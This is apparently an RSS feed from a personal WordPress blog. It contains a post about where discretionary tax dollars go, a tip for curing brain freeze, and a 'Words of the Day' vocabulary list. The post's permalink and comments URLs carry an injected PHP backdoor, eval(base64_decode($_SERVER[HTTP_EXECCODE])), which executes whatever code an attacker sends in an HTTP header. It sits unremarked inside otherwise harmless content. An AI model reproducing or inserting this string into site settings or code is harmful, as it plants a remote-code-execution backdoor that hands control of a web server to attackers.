Garth's World » Learn Something http://www.theworldaccordingtogarth.com/wp A place for my non-income producing knowledge Tue, 02 Jun 2009 22:03:16 +0000 http://wordpress.org/?v=2.9.2 en hourly 1 Where do your taxes go? http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 21 Apr 2007 20:20:04 +0000 Garth http://www.theworldaccordingtogarth.com/wp/2007/04/21/where-do-your-taxes-go/ Here is a cool visual display of where your tax dollars go. This only represents the discretionary budget that the President submits to Congress every year. Entitlement programs such as Medicare and Social Security are not included even though they are a huge part of the taxes we pay.

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Brain freeze? We have all had them — drank something cold too fast leading to a headache.

Cure? Pinch the tip of your tongue. This remedy works for about 85% of the dozens of people I have suggested it to over the years.

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Words of the Day

   esurient ..ih-SUR-ee-uhnt; -ZUR-.., adjective:
   Hungry; voracious; greedy.

   recondite ..REK-uhn-dyt.., adjective:
   1. Difficult to understand; [1]abstruse.
   2. Concerned with obscure subject matter.

   sine qua non ..sin-ih-kwah-NON; -NOHN; sy-nih-kway-.., noun:
   An essential condition or element; an indispensable thing

   gastronome ..GAS-truh-nohm.., noun:
   A connoisseur of good food and drink.

   quiddity ..KWID-ih-tee.., noun:
   1. The essence, nature, or distinctive peculiarity of a thing.
   2. A hairsplitting distinction; a trifling point; a quibble.
   3. An eccentricity; an odd feature.

  jollification ..jol-ih-fuh-KAY-shuhn.., noun:
   Merrymaking; festivity; revelry.

   melange ..may-LAHNZH.., noun:
   A mixture; a medley.

   sacrosanct ..SAK-roh-sankt.., adjective:
   Sacred; inviolable.

   paladin ..PAL-uh-din.., noun:
   1.  A  knight-errant;  a  distinguished champion of a medieval
   king or prince; as, the paladins of Charlemagne.
   2. A champion of a cause.

   tmesis ..TMEE-sis.., noun:
   In  grammar  and  rhetoric,  the  separation of the parts of a
   compound  word,  now  generally  done for humorous effect;    for example, “what place soever” instead of “whatsoever place,” or  “abso-bloody-lutely.”

   lassitude ..LASS-uh-tood; LASS-uh-tyood.., noun:
   Lack of vitality or energy; weariness; listlessness.

   anodyne ..AN-uh-dyn.., adjective:
   1. Serving to relieve pain; soothing.
   2. Not likely to offend; bland; innocuous.
   noun:
   1. A medicine that relieves pain.
   2.   Anything  that  calms,  comforts,  or  soothes  disturbed
   feelings.

   alpenglow ..AL-puhn-gloh.., noun:
   A  reddish  glow seen near sunset or sunrise on the summits of
   mountains.

   sesquipedalian ..ses-kwuh-puh-DAYL-yuhn.., adjective:
   1. Given to or characterized by the use of long words.
   2. Long and ponderous; having many syllables.
   noun:
   A long word.

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